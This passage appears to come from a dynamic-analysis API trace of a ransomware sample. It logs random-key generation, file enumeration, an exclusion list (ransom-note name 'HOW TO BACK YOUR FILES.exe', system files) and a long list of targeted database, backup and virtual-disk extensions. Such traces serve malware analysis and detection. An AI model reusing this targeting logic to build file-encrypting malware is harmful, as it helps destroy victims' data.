	[0063.838] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.838] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a0, lpName=0x0) returned 0x150
	[0063.839] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a0) returned 0x100000
	[0063.840] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0063.840] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0063.840] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0063.841] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0063.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.841] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0063.841] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.841] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0063.841] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.841] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0063.841] CloseHandle (hObject=0x150) returned 1
	[0063.841] CloseHandle (hObject=0x154) returned 1
	[0063.841] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0063.841] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0063.841] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0063.842] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="Apollon865.txt.exe") returned 1
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".") returned 1
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="..") returned 1
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="windows") returned -1
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="bootmgr") returned 1
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="temp") returned 1
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="pagefile.sys") returned 1
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="boot") returned 1
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="ids.txt") returned 1
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="ntuser.dat") returned 1
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="perflogs") returned 1
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="MSBuild") returned 1
	[0063.842] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0063.842] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 81
	[0063.842] lstrcpyW (in: lpString1=0x119e698, lpString2="vcredist_x86.exe" | out: lpString1="vcredist_x86.exe") returned="vcredist_x86.exe"
	[0063.842] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0063.842] lstrlenW (lpString="Apollon865") returned 10
	[0063.842] lstrcmpiW (lpString1="st_x86.exe", lpString2="Apollon865") returned 1
	[0063.842] lstrlenW (lpString=".dll") returned 4
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".dll") returned 1
	[0063.842] lstrlenW (lpString=".lnk") returned 4
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".lnk") returned 1
	[0063.842] lstrlenW (lpString=".ini") returned 4
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".ini") returned 1
	[0063.842] lstrlenW (lpString=".sys") returned 4
	[0063.842] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".sys") returned 1
	[0063.842] lstrlenW (lpString="vcredist_x86.exe") returned 16
	[0063.842] lstrlenW (lpString="bak") returned 3
	[0063.843] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0063.843] lstrlenW (lpString="ba_") returned 3
	[0063.843] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0063.843] lstrlenW (lpString="dbb") returned 3
	[0063.843] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0063.843] lstrlenW (lpString="vmdk") returned 4
	[0063.843] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0063.843] lstrlenW (lpString="rar") returned 3
	[0063.843] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0063.843] lstrlenW (lpString="zip") returned 3
	[0063.843] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0063.843] lstrlenW (lpString="tgz") returned 3
	[0063.843] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0063.843] lstrlenW (lpString="vbox") returned 4
	[0063.843] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0063.843] lstrlenW (lpString="vdi") returned 3
	[0063.843] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0063.843] lstrlenW (lpString="vhd") returned 3
	[0063.843] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0063.843] lstrlenW (lpString="vhdx") returned 4
	[0063.843] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0063.843] lstrlenW (lpString="avhd") returned 4
	[0063.843] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0063.843] lstrlenW (lpString="db") returned 2
	[0063.843] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0063.843] lstrlenW (lpString="db2") returned 3
	[0063.843] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0063.843] lstrlenW (lpString="db3") returned 3
	[0063.843] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0063.843] lstrlenW (lpString="dbf") returned 3
	[0063.843] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0063.843] lstrlenW (lpString="mdf") returned 3
	[0063.843] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0063.844] lstrlenW (lpString="mdb") returned 3
	[0063.844] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0063.844] lstrlenW (lpString="sql") returned 3
	[0063.844] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0063.844] lstrlenW (lpString="sqlite") returned 6
	[0063.844] lstrcmpiW (lpString1="86.exe", lpString2="sqlite") returned -1
	[0063.844] lstrlenW (lpString="sqlite3") returned 7
	[0063.844] lstrcmpiW (lpString1="x86.exe", lpString2="sqlite3") returned 1
	[0063.844] lstrlenW (lpString="sqlitedb") returned 8
	[0063.844] lstrcmpiW (lpString1="_x86.exe", lpString2="sqlitedb") returned -1
	[0063.844] lstrlenW (lpString="xml") returned 3
	[0063.844] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0063.844] lstrlenW (lpString="$er") returned 3
	[0063.844] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0063.844] lstrlenW (lpString="4dd") returned 3
	[0063.844] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0063.844] lstrlenW (lpString="4dl") returned 3
	[0063.844] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0063.844] lstrlenW (lpString="^^^") returned 3
	[0063.844] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0063.844] lstrlenW (lpString="abs") returned 3
	[0063.844] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0063.844] lstrlenW (lpString="abx") returned 3
	[0063.844] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0063.844] lstrlenW (lpString="accdb") returned 5
	[0063.844] lstrcmpiW (lpString1="6.exe", lpString2="accdb") returned -1
	[0063.844] lstrlenW (lpString="accdc") returned 5
	[0063.844] lstrcmpiW (lpString1="6.exe", lpString2="accdc") returned -1
	[0063.844] lstrlenW (lpString="accde") returned 5
	[0063.844] lstrcmpiW (lpString1="6.exe", lpString2="accde") returned -1
	[0063.844] lstrlenW (lpString="accdr") returned 5
	[0063.844] lstrcmpiW (lpString1="6.exe", lpString2="accdr") returned -1
	[0063.844] lstrlenW (lpString="accdt") returned 5
	[0063.844] lstrcmpiW (lpString1="6.exe", lpString2="accdt") returned -1
	[0063.845] lstrlenW (lpString="accdw") returned 5
	[0063.845] lstrcmpiW (lpString1="6.exe", lpString2="accdw") returned -1
	[0063.845] lstrlenW (lpString="accft") returned 5
	[0063.845] lstrcmpiW (lpString1="6.exe", lpString2="accft") returned -1
	[0063.845] lstrlenW (lpString="adb") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0063.845] lstrlenW (lpString="adb") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0063.845] lstrlenW (lpString="ade") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0063.845] lstrlenW (lpString="adf") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0063.845] lstrlenW (lpString="adn") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0063.845] lstrlenW (lpString="adp") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0063.845] lstrlenW (lpString="alf") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1
	[0063.845] lstrlenW (lpString="ask") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1
	[0063.845] lstrlenW (lpString="btr") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1
	[0063.845] lstrlenW (lpString="cat") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1
	[0063.845] lstrlenW (lpString="cdb") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1
	[0063.845] lstrlenW (lpString="ckp") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1
	[0063.845] lstrlenW (lpString="cma") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1
	[0063.845] lstrlenW (lpString="cpd") returned 3
	[0063.845] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1
	[0063.845] lstrlenW (lpString="dacpac") returned 6
	[0063.846] lstrcmpiW (lpString1="86.exe", lpString2="dacpac") returned -1
	[0063.846] lstrlenW (lpString="dad") returned 3
	[0063.846] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1
	[0063.846] lstrlenW (lpString="dadiagrams") returned 10
	[0063.846] lstrcmpiW (lpString1="st_x86.exe", lpString2="dadiagrams") returned 1
	[0063.846] lstrlenW (lpString="daschema") returned 8
	[0063.846] lstrcmpiW (lpString1="_x86.exe", lpString2="daschema") returned -1
	[0063.846] lstrlenW (lpString="db-journal") returned 10
	[0063.846] lstrcmpiW (lpString1="st_x86.exe", lpString2="db-journal") returned 1
	[0063.846] lstrlenW (lpString="db-shm") returned 6
	[0063.846] lstrcmpiW (lpString1="86.exe", lpString2="db-shm") returned -1
	[0063.846] lstrlenW (lpString="db-wal") returned 6
	[0063.846] lstrcmpiW (lpString1="86.exe", lpString2="db-wal") returned -1
	[0063.846] lstrlenW (lpString="dbc") returned 3
	[0063.846] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1
	[0063.846] lstrlenW (lpString="dbs") returned 3
	[0063.846] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1
	[0063.846] lstrlenW (lpString="dbt") returned 3
	[0063.846] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1
	[0063.846] lstrlenW (lpString="dbv") returned 3
	[0063.846] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1
	[0063.846] lstrlenW (lpString="dbx") returned 3
	[0063.846] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1
	[0063.846] lstrlenW (lpString="dcb") returned 3
	[0063.846] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1
	[0063.846] lstrlenW (lpString="dct") returned 3
	[0063.846] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1
	[0063.846] lstrlenW (lpString="dcx") returned 3
	[0063.846] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1
	[0063.846] lstrlenW (lpString="ddl") returned 3
	[0063.846] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1
	[0063.846] lstrlenW (lpString="dlis") returned 4
	[0063.846] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1
	[0063.847] lstrlenW (lpString="dp1") returned 3
	[0063.847] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1
	[0063.847] lstrlenW (lpString="dqy") returned 3
	[0063.847] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1
	[0063.847] lstrlenW (lpString="dsk") returned 3
	[0063.847] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1
	[0063.847] lstrlenW (lpString="dsn") returned 3
	[0063.847] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1
	[0063.847] lstrlenW (lpString="dtsx") returned 4
	[0063.847] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1
	[0063.847] lstrlenW (lpString="dxl") returned 3
	[0063.847] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1
	[0063.847] lstrlenW (lpString="eco") returned 3
	[0063.847] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1
	[0063.847] lstrlenW (lpString="ecx") returned 3
	[0063.847] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1
	[0063.847] lstrlenW (lpString="edb") returned 3
	[0063.847] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1
	[0063.847] lstrlenW (lpString="epim") returned 4
	[0063.847] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1
	[0063.847] lstrlenW (lpString="fcd") returned 3
	[0063.847] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1
	[0063.847] lstrlenW (lpString="fdb") returned 3
	[0063.847] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1
	[0063.847] lstrlenW (lpString="fic") returned 3
	[0063.847] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1
	[0063.847] lstrlenW (lpString="flexolibrary") returned 12
	[0063.847] lstrcmpiW (lpString1="dist_x86.exe", lpString2="flexolibrary") returned -1
	[0063.847] lstrlenW (lpString="fm5") returned 3
	[0063.847] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1
	[0063.847] lstrlenW (lpString="fmp") returned 3
	[0063.847] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1
	[0063.847] lstrlenW (lpString="fmp12") returned 5
	[0063.848] lstrcmpiW (lpString1="6.exe", lpString2="fmp12") returned -1
	[0063.848] lstrlenW (lpString="fmpsl") returned 5
	[0063.848] lstrcmpiW (lpString1="6.exe", lpString2="fmpsl") returned -1
	[0063.848] lstrlenW (lpString="fol") returned 3
	[0063.848] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1
	[0063.848] lstrlenW (lpString="fp3") returned 3
	[0063.848] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1
	[0063.848] lstrlenW (lpString="fp4") returned 3
	[0063.848] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1
	[0063.848] lstrlenW (lpString="fp5") returned 3
	[0063.848] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1
	[0063.848] lstrlenW (lpString="fp7") returned 3
	[0063.848] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1
	[0063.848] lstrlenW (lpString="fpt") returned 3
	[0063.848] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1
	[0063.848] lstrlenW (lpString="frm") returned 3
	[0063.848] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1
	[0063.848] lstrlenW (lpString="gdb") returned 3
	[0063.848] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0063.848] lstrlenW (lpString="gdb") returned 3
	[0063.848] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0063.848] lstrlenW (lpString="grdb") returned 4
	[0063.848] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1
	[0063.848] lstrlenW (lpString="gwi") returned 3
	[0063.848] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1
	[0063.848] lstrlenW (lpString="hdb") returned 3
	[0063.848] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1
	[0063.848] lstrlenW (lpString="his") returned 3
	[0063.848] lstrcmpiW (lpString1="exe", lpString2="his") returned -1
	[0063.848] lstrlenW (lpString="ib") returned 2
	[0063.848] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1
	[0063.848] lstrlenW (lpString="idb") returned 3
	[0063.848] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1
	[0063.848] lstrlenW (lpString="ihx") returned 3
	[0063.849] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1
	[0063.849] lstrlenW (lpString="itdb") returned 4
	[0063.849] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1
	[0063.849] lstrlenW (lpString="itw") returned 3
	[0063.849] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1
	[0063.849] lstrlenW (lpString="jet") returned 3
	[0063.849] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1
	[0063.849] lstrlenW (lpString="jtx") returned 3
	[0063.849] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1
	[0063.849] lstrlenW (lpString="kdb") returned 3
	[0063.849] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1
	[0063.849] lstrlenW (lpString="kexi") returned 4
	[0063.849] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1
	[0063.849] lstrlenW (lpString="kexic") returned 5
	[0063.849] lstrcmpiW (lpString1="6.exe", lpString2="kexic") returned -1
	[0063.849] lstrlenW (lpString="kexis") returned 5
	[0063.849] lstrcmpiW (lpString1="6.exe", lpString2="kexis") returned -1
	[0063.849] lstrlenW (lpString="lgc") returned 3
	[0063.849] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1
	[0063.849] lstrlenW (lpString="lwx") returned 3
	[0063.849] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1
	[0063.849] lstrlenW (lpString="maf") returned 3
	[0063.849] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1
	[0063.849] lstrlenW (lpString="maq") returned 3
	[0063.849] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1
	[0063.849] lstrlenW (lpString="mar") returned 3
	[0063.849] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1
	[0063.849] lstrlenW (lpString="marshal") returned 7
	[0063.849] lstrcmpiW (lpString1="x86.exe", lpString2="marshal") returned 1
	[0063.849] lstrlenW (lpString="mas") returned 3
	[0063.849] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1
	[0063.849] lstrlenW (lpString="mav") returned 3
	[0063.849] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1
	[0063.850] lstrlenW (lpString="maw") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1
	[0063.850] lstrlenW (lpString="mdbhtml") returned 7
	[0063.850] lstrcmpiW (lpString1="x86.exe", lpString2="mdbhtml") returned 1
	[0063.850] lstrlenW (lpString="mdn") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1
	[0063.850] lstrlenW (lpString="mdt") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1
	[0063.850] lstrlenW (lpString="mfd") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1
	[0063.850] lstrlenW (lpString="mpd") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1
	[0063.850] lstrlenW (lpString="mrg") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1
	[0063.850] lstrlenW (lpString="mud") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1
	[0063.850] lstrlenW (lpString="mwb") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1
	[0063.850] lstrlenW (lpString="myd") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1
	[0063.850] lstrlenW (lpString="ndf") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1
	[0063.850] lstrlenW (lpString="nnt") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1
	[0063.850] lstrlenW (lpString="nrmlib") returned 6
	[0063.850] lstrcmpiW (lpString1="86.exe", lpString2="nrmlib") returned -1
	[0063.850] lstrlenW (lpString="ns2") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1
	[0063.850] lstrlenW (lpString="ns3") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1
	[0063.850] lstrlenW (lpString="ns4") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1
	[0063.850] lstrlenW (lpString="nsf") returned 3
	[0063.850] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1
	[0063.851] lstrlenW (lpString="nv") returned 2
	[0063.851] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1
	[0063.851] lstrlenW (lpString="nv2") returned 3
	[0063.851] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1
	[0063.851] lstrlenW (lpString="nwdb") returned 4
	[0063.851] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1
	[0063.851] lstrlenW (lpString="nyf") returned 3
	[0063.851] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1
	[0063.851] lstrlenW (lpString="odb") returned 3
	[0063.851] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0063.851] lstrlenW (lpString="odb") returned 3
	[0063.851] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0063.851] lstrlenW (lpString="oqy") returned 3
	[0063.851] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1
	[0063.851] lstrlenW (lpString="ora") returned 3
	[0063.851] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1
	[0063.851] lstrlenW (lpString="orx") returned 3
	[0063.851] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1
	[0063.851] lstrlenW (lpString="owc") returned 3
	[0063.851] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1
	[0063.851] lstrlenW (lpString="p96") returned 3
	[0063.851] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1
	[0063.851] lstrlenW (lpString="p97") returned 3
	[0063.851] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1
	[0063.851] lstrlenW (lpString="pan") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1
	[0063.852] lstrlenW (lpString="pdb") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1
	[0063.852] lstrlenW (lpString="pdm") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1
	[0063.852] lstrlenW (lpString="pnz") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1
	[0063.852] lstrlenW (lpString="qry") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1
	[0063.852] lstrlenW (lpString="qvd") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1
	[0063.852] lstrlenW (lpString="rbf") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1
	[0063.852] lstrlenW (lpString="rctd") returned 4
	[0063.852] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1
	[0063.852] lstrlenW (lpString="rod") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1
	[0063.852] lstrlenW (lpString="rodx") returned 4
	[0063.852] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1
	[0063.852] lstrlenW (lpString="rpd") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1
	[0063.852] lstrlenW (lpString="rsd") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1
	[0063.852] lstrlenW (lpString="sas7bdat") returned 8
	[0063.852] lstrcmpiW (lpString1="_x86.exe", lpString2="sas7bdat") returned -1
	[0063.852] lstrlenW (lpString="sbf") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1
	[0063.852] lstrlenW (lpString="scx") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1
	[0063.852] lstrlenW (lpString="sdb") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1
	[0063.852] lstrlenW (lpString="sdc") returned 3
	[0063.852] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1
	[0063.852] lstrlenW (lpString="sdf") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1
	[0063.853] lstrlenW (lpString="sis") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1
	[0063.853] lstrlenW (lpString="spq") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1
	[0063.853] lstrlenW (lpString="te") returned 2
	[0063.853] lstrcmpiW (lpString1="xe", lpString2="te") returned 1
	[0063.853] lstrlenW (lpString="teacher") returned 7
	[0063.853] lstrcmpiW (lpString1="x86.exe", lpString2="teacher") returned 1
	[0063.853] lstrlenW (lpString="tmd") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1
	[0063.853] lstrlenW (lpString="tps") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1
	[0063.853] lstrlenW (lpString="trc") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0063.853] lstrlenW (lpString="trc") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0063.853] lstrlenW (lpString="trm") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1
	[0063.853] lstrlenW (lpString="udb") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1
	[0063.853] lstrlenW (lpString="udl") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1
	[0063.853] lstrlenW (lpString="usr") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1
	[0063.853] lstrlenW (lpString="v12") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1
	[0063.853] lstrlenW (lpString="vis") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1
	[0063.853] lstrlenW (lpString="vpd") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1
	[0063.853] lstrlenW (lpString="vvv") returned 3
	[0063.853] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1
	[0063.854] lstrlenW (lpString="wdb") returned 3
	[0063.854] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1
	[0063.854] lstrlenW (lpString="wmdb") returned 4
	[0063.854] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1
	[0063.854] lstrlenW (lpString="wrk") returned 3
	[0063.854] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1
	[0063.854] lstrlenW (lpString="xdb") returned 3
	[0063.854] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1
	[0063.854] lstrlenW (lpString="xld") returned 3
	[0063.854] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1
	[0063.854] lstrlenW (lpString="xmlff") returned 5
